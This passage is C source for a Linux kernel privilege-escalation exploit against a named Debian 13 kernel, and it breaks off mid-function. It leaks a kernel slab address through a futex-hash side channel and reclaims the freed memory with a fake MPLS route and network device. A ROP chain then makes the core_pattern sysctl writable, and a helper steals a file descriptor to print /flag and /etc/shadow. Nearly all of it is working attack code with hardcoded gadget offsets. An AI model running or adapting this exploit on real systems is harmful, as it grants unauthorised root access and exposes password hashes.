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| /*
* Copyright 2026 Nebula Security
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* SPDX-License-Identifier: Apache-2.0
*/
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/keyctl.h>
#include <net/if.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/sendfile.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/timerfd.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include "kernelsnitch.h"
#include "leak.h"
/* Stock Debian 13, linux-image-6.12.101+deb13-amd64 (6.12.101-1). */
#define KERNEL_BASE UINT64_C(0xffffffff81000000)
#define KERNEL_IMAGE_PAGES 22
#define OFF_PIVOT_RBP UINT64_C(0xb28a0)
#define OFF_POP_RSI UINT64_C(0xccc21d)
#define OFF_POP_RDI_RDI UINT64_C(0x8148e0)
#define OFF_WRITE4 UINT64_C(0x2c002e)
#define OFF_CORE_PATTERN_MODE UINT64_C(0x1d8d7ec)
#define OFF_HALT_LOOP UINT64_C(0x5096d)
#define MM_STRUCT_SIZE 1408UL
#define MM_SLAB_ORDER 3UL
#define MM_SLAB_BYTES (PAGE_SIZE << MM_SLAB_ORDER)
#define MM_OBJECTS_PER_SLAB (MM_SLAB_BYTES / MM_STRUCT_SIZE)
#define MM_PARTIALS 10
#define PHYSMAP_SEARCH_BACK (2ULL << 30)
#define PHYSMAP_SEARCH_BYTES (10ULL << 30)
#define FRAG_SEND_LEN (FRAG_LINEAR_LEN + STAGE2_BYTES)
#define FRAG_LINEAR_LEN 3616
#define STAGE2_BYTES MM_SLAB_BYTES
#define ROUTE_OFFSET 0x600UL
#define DEVICE_OFFSET 0x800UL
#define HEADER_OPS_OFFSET 0xd00UL
#define DEV_HEADER_OPS 0x10UL
#define DEV_MTU 0x38UL
#define DEV_NEEDED_HEADROOM 0x3cUL
#define DEV_STATE 0xa8UL
#define DEV_FLAGS 0xb0UL
#define DEV_HARD_HEADER_LEN 0xb4UL
#define DEV_MPLS_PTR 0x428UL
#define DEV_ADDR 0x430UL
#define KEY_PAYLOAD_LEN 104
#define KEY_SPEC_PROCESS_KEYRING -2
#define KEY_SPRAY_MAX 180
#define WRITER_THREADS 4
#define MPLS_NEIGH_TABLE_UNSPEC 3
struct mm_ctx {
size_t count;
pid_t *children;
int *memfds;
};
struct mm_search_range {
struct kernelsnitch_shared_state *ks;
size_t start;
size_t end;
};
struct writer_ctx {
int cpu;
int id;
};
struct sender_ctx {
int ifindex;
unsigned char src[6];
unsigned char dst[6];
int cpu;
};
static struct mm_ctx prepare_ctx;
static struct mm_ctx spray_ctx;
static struct mm_ctx pre_ctx;
static struct mm_ctx post_ctx;
static struct kernelsnitch_shared_state *ks;
static pid_t leak_child;
static int leak_memfd = -1;
static pid_t main_pid;
static atomic_bool stop_flag;
static int won_pipe[2];
static long route_key_serials[KEY_SPRAY_MAX];
static int route_key_count;
static unsigned char route_key_payload[KEY_PAYLOAD_LEN];
static void put8(unsigned char *buffer, size_t length, size_t offset,
uint8_t value)
{
if (offset < length)
buffer[offset] = value;
}
static void put16(unsigned char *buffer, size_t length, size_t offset,
uint16_t value)
{
if (offset + sizeof(value) <= length)
memcpy(buffer + offset, &value, sizeof(value));
}
static void put32(unsigned char *buffer, size_t length, size_t offset,
uint32_t value)
{
if (offset + sizeof(value) <= length)
memcpy(buffer + offset, &value, sizeof(value));
}
static void put64(unsigned char *buffer, size_t length, size_t offset,
uint64_t value)
{
if (offset + sizeof(value) <= length)
memcpy(buffer + offset, &value, sizeof(value));
}
static double monotonic_seconds(void)
{
struct timespec now;
SYSCHK(clock_gettime(CLOCK_MONOTONIC, &now));
return now.tv_sec + now.tv_nsec / 1000000000.0;
}
static void *search_mm_struct_range(void *argument)
{
struct mm_search_range *range = argument;
struct kernelsnitch_shared_state *state = range->ks;
for (size_t slab = range->start; slab < range->end && !state->found;
slab += MM_SLAB_BYTES) {
for (size_t candidate = slab;
candidate < slab + MM_SLAB_BYTES && !state->found;
candidate += state->mm_struct_sz) {
int matches = 1;
for (size_t i = 1; i < state->collisions && matches; i++)
matches = futex_hash(state->futex_addrs[0], candidate) ==
futex_hash(state->futex_addrs[i], candidate);
if (matches) {
state->mm_struct = candidate;
state->found = 1;
}
}
}
return NULL;
}
static void kernelsnitch_bruteforce_physmap(
struct kernelsnitch_shared_state *state, uint64_t physmap)
{
size_t search_start = (physmap - PHYSMAP_SEARCH_BACK) &
~(MM_SLAB_BYTES - 1);
size_t search_end = search_start + PHYSMAP_SEARCH_BYTES;
size_t chunk = (PHYSMAP_SEARCH_BYTES + state->thread_cnt - 1) /
state->thread_cnt;
struct mm_search_range *ranges;
chunk = (chunk + MM_SLAB_BYTES - 1) & ~(MM_SLAB_BYTES - 1);
ranges = calloc(state->thread_cnt, sizeof(*ranges));
if (!ranges)
pr_error("calloc mm search ranges: %m\n");
printf("[.] KernelSnitch search: %#zx-%#zx (%zu threads)\n",
search_start, search_end, state->thread_cnt);
reset_cpu_pin();
for (size_t i = 0; i < state->thread_cnt; i++) {
ranges[i].ks = state;
ranges[i].start = search_start + i * chunk;
ranges[i].end = ranges[i].start + chunk;
if (ranges[i].end > search_end)
ranges[i].end = search_end;
if (pthread_create(&state->tids[i], NULL,
search_mm_struct_range, &ranges[i]))
pr_error("pthread_create mm search: %m\n");
}
for (size_t i = 0; i < state->thread_cnt; i++)
pthread_join(state->tids[i], NULL);
free(ranges);
state->state = state->mm_struct == (size_t)-1 ?
KERNELSNITCH_MM_NOT_FOUND : KERNELSNITCH_MM_FOUND;
}
static void init_ctx(struct mm_ctx *ctx, size_t count)
{
ctx->count = count;
ctx->children = calloc(count, sizeof(*ctx->children));
ctx->memfds = calloc(count, sizeof(*ctx->memfds));
if (!ctx->children || !ctx->memfds)
pr_error("calloc mm context: %m\n");
for (size_t i = 0; i < count; i++)
ctx->memfds[i] = -1;
}
static pid_t clone_sleeper(void)
{
pid_t child = SYSCHK(syscall(SYS_clone, SIGCHLD, NULL, NULL, NULL, 0));
if (!child) {
pin_to_core(0);
for (;;)
pause();
}
return child;
}
static pid_t clone_leaker(void)
{
pid_t child = SYSCHK(syscall(SYS_clone, SIGCHLD, NULL, NULL, NULL, 0));
if (!child) {
#ifndef PR_FUTEX_HASH_SET_SLOTS
#define PR_FUTEX_HASH_SET_SLOTS 1
#endif
#ifndef PR_FUTEX_HASH
#define PR_FUTEX_HASH 78
#endif
(void)prctl(PR_FUTEX_HASH, PR_FUTEX_HASH_SET_SLOTS, 0, 0);
kernelsnitch_find_collisions(ks);
_exit(0);
}
return child;
}
static int open_mm(pid_t child)
{
char path[64];
snprintf(path, sizeof(path), "/proc/%d/mem", child);
return SYSCHK(open(path, O_RDONLY | O_CLOEXEC));
}
static void kill_child(pid_t child)
{
if (child <= 0)
return;
if (kill(child, SIGKILL) < 0 && errno != ESRCH)
pr_error("kill child: %m\n");
while (waitpid(child, NULL, 0) < 0 && errno == EINTR)
;
}
static void close_ctx_fds(struct mm_ctx *ctx)
{
for (size_t i = 0; i < ctx->count; i++) {
if (ctx->memfds[i] >= 0) {
close(ctx->memfds[i]);
ctx->memfds[i] = -1;
}
}
}
static void kill_ctx_children(struct mm_ctx *ctx)
{
for (size_t i = 0; i < ctx->count; i++) {
kill_child(ctx->children[i]);
ctx->children[i] = 0;
}
}
static void cleanup_children(void)
{
if (getpid() != main_pid)
return;
close_ctx_fds(&prepare_ctx);
close_ctx_fds(&spray_ctx);
close_ctx_fds(&pre_ctx);
close_ctx_fds(&post_ctx);
if (leak_memfd >= 0)
close(leak_memfd);
kill_ctx_children(&prepare_ctx);
kill_ctx_children(&spray_ctx);
kill_ctx_children(&pre_ctx);
kill_ctx_children(&post_ctx);
}
static void allocate_ctx(struct mm_ctx *ctx)
{
for (size_t i = 0; i < ctx->count; i++) {
ctx->children[i] = clone_sleeper();
ctx->memfds[i] = open_mm(ctx->children[i]);
}
}
static uint64_t prepare_known_page(uint64_t physmap, uint64_t slide,
int frag_sv[2])
{
unsigned char *frag_buffer = calloc(1, FRAG_SEND_LEN);
unsigned char *stage2 = calloc(1, STAGE2_BYTES);
uint64_t leaked_mm;
uint64_t page;
double started;
init_ctx(&prepare_ctx, 4 * MM_OBJECTS_PER_SLAB);
init_ctx(&spray_ctx, (1 + MM_PARTIALS) * MM_OBJECTS_PER_SLAB);
init_ctx(&pre_ctx, MM_OBJECTS_PER_SLAB - 1);
init_ctx(&post_ctx, MM_OBJECTS_PER_SLAB);
allocate_ctx(&prepare_ctx);
allocate_ctx(&spray_ctx);
ks = kernelsnitch_setup(MM_STRUCT_SIZE, MM_SLAB_ORDER,
sysconf(_SC_NPROCESSORS_ONLN), 8, 1, 0);
pin_to_core(1);
for (size_t i = 0; i < pre_ctx.count; i++)
pre_ctx.children[i] = clone_sleeper();
leak_child = clone_leaker();
for (size_t i = 0; i < post_ctx.count; i++)
post_ctx.children[i] = clone_sleeper();
for (size_t i = 0; i < pre_ctx.count; i++)
pre_ctx.memfds[i] = open_mm(pre_ctx.children[i]);
leak_memfd = open_mm(leak_child);
for (size_t i = 0; i < post_ctx.count; i++)
post_ctx.memfds[i] = open_mm(post_ctx.children[i]);
kill_ctx_children(&pre_ctx);
kill_ctx_children(&post_ctx);
kill_ctx_children(&spray_ctx);
SYSCHK(waitpid(leak_child, NULL, 0));
leak_child = 0;
if (!kernelsnitch_found_collisions(ks))
pr_error("KernelSnitch collision phase failed\n");
started = monotonic_seconds();
kernelsnitch_bruteforce_physmap(ks, physmap);
leaked_mm = kernelsnitch_cleanup(ks);
ks = NULL;
if (leaked_mm == UINT64_MAX)
pr_error("KernelSnitch address phase failed\n");
page = leaked_mm & ~(MM_SLAB_BYTES - 1);
printf("[+] known slab page=%#llx (search %.3fs)\n",
(unsigned long long)page, monotonic_seconds() - started);
/* Free every object in the selected order-2 slab, preserving the rest. */
pin_to_core(1);
for (size_t i = 0; i < spray_ctx.count / 2;
i += MM_OBJECTS_PER_SLAB) {
close(spray_ctx.memfds[i]);
spray_ctx.memfds[i] = -1;
}
for (size_t i = 0; i < pre_ctx.count; i++) {
close(pre_ctx.memfds[i]);
pre_ctx.memfds[i] = -1;
}
for (size_t i = 0; i + 1 < post_ctx.count; i++) {
close(post_ctx.memfds[i]);
post_ctx.memfds[i] = -1;
}
for (size_t i = spray_ctx.count / 2; i < spray_ctx.count;
i += MM_OBJECTS_PER_SLAB) {
close(spray_ctx.memfds[i]);
spray_ctx.memfds[i] = -1;
}
close(leak_memfd);
leak_memfd = -1;
/* Build the fake route, device, header_ops, and ROP stack. */
memset(stage2, 0, STAGE2_BYTES);
uint64_t route = page + ROUTE_OFFSET;
uint64_t dev = page + DEVICE_OFFSET;
uint64_t hops = page + HEADER_OPS_OFFSET;
uint64_t pivot = KERNEL_BASE + slide + OFF_PIVOT_RBP;
uint64_t pop_rsi = KERNEL_BASE + slide + OFF_POP_RSI;
uint64_t pop_rdi_rdi = KERNEL_BASE + slide + OFF_POP_RDI_RDI;
uint64_t write4 = KERNEL_BASE + slide + OFF_WRITE4;
uint64_t mode = KERNEL_BASE + slide + OFF_CORE_PATTERN_MODE;
uint64_t halt_loop = KERNEL_BASE + slide + OFF_HALT_LOOP;
size_t ro = ROUTE_OFFSET;
size_t nd = DEVICE_OFFSET;
uint64_t *q = (uint64_t *)(stage2 + nd);
/* struct mpls_route: rt_nhn=1 makes rt_nh start at +0x20. */
put8(stage2, STAGE2_BYTES, ro + 20, 1);
put8(stage2, STAGE2_BYTES, ro + 21, 1);
put64(stage2, STAGE2_BYTES, ro + 0x20, dev);
put32(stage2, STAGE2_BYTES, ro + 0x28, 0);
put8(stage2, STAGE2_BYTES, ro + 0x2c, 1);
put8(stage2, STAGE2_BYTES, ro + 0x2e, MPLS_NEIGH_TABLE_UNSPEC);
put32(stage2, STAGE2_BYTES, ro + 0x30, 16U << 12);
/* pc2 pivots to rbp==fake dev; consume header_ops before the chain. */
q[0] = 0;
q[1] = pop_rdi_rdi;
q[2] = hops; /* also dev->header_ops */
q[3] = 0;
q[4] = pop_rsi;
q[5] = mode;
q[6] = pop_rdi_rdi;
q[7] = 0xffff; /* also mtu=65535, headroom=0 */
q[8] = 0x070001b6; /* sysctl mode=0666, maxlen unchanged */
q[9] = write4;
q[10] = halt_loop;
put64(stage2, STAGE2_BYTES, nd + DEV_HEADER_OPS, hops);
put32(stage2, STAGE2_BYTES, nd + DEV_MTU, 65535);
put16(stage2, STAGE2_BYTES, nd + DEV_NEEDED_HEADROOM, 0);
put64(stage2, STAGE2_BYTES, nd + DEV_STATE, 0);
put32(stage2, STAGE2_BYTES, nd + DEV_FLAGS, IFF_UP);
put16(stage2, STAGE2_BYTES, nd + DEV_HARD_HEADER_LEN, 0);
put64(stage2, STAGE2_BYTES, nd + DEV_MPLS_PTR, 0);
put64(stage2, STAGE2_BYTES, nd + DEV_ADDR, page + 0xe00);
put64(stage2, STAGE2_BYTES, HEADER_OPS_OFFSET, pivot);
memset(frag_buffer, 0, FRAG_SEND_LEN);
memcpy(frag_buffer + FRAG_LINEAR_LEN, stage2, STAGE2_BYTES);
struct iovec iov = {
.iov_base = frag_buffer,
.iov_len = FRAG_SEND_LEN,
};
struct msghdr message = {
.msg_iov = &iov,
.msg_iovlen = 1,
};
SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, frag_sv));
if (SYSCHK(sendmsg(frag_sv[0], &message, 0)) != FRAG_SEND_LEN)
pr_error("short known-page sendmsg\n");
printf("[+] staged fake route=%#llx dev=%#llx callback=%#llx\n",
(unsigned long long)route, (unsigned long long)dev,
(unsigned long long)pivot);
close_ctx_fds(&prepare_ctx);
close_ctx_fds(&spray_ctx);
close_ctx_fds(&post_ctx);
kill_ctx_children(&prepare_ctx);
free(stage2);
free(frag_buffer);
return route;
}
static int root_helper(const char *pid_string)
{
char buffer[4096];
int pid = atoi(pid_string);
int pfd = syscall(SYS_pidfd_open, pid, 0);
int out = syscall(SYS_pidfd_getfd, pfd, STDOUT_FILENO, 0);
const char *paths[] = { "/flag", "/etc/shadow" };
if (out >= 0)
dup2(out, STDOUT_FILENO);
(void)!write(STDOUT_FILENO, "DEBIAN_ROOT_OK\n", 15);
for (size_t i = 0; i < sizeof(paths) / sizeof(paths[0]); i++) {
int fd = open(paths[i], O_RDONLY);
ssize_t length;
if (fd < 0)
continue;
length = read(fd, buffer, sizeof(buffer));
close(fd);
if (length > 0) {
(void)!write(STDOUT_FILENO, buffer, length);
if (buffer[length - 1] != '\n')
(void)!write(STDOUT_FILENO, "\n", 1);
}
}
return 0;
}
static void watch_dirty_mode(void)
{
const char pattern[] = "|/proc/%P/fd/666 %P";
|
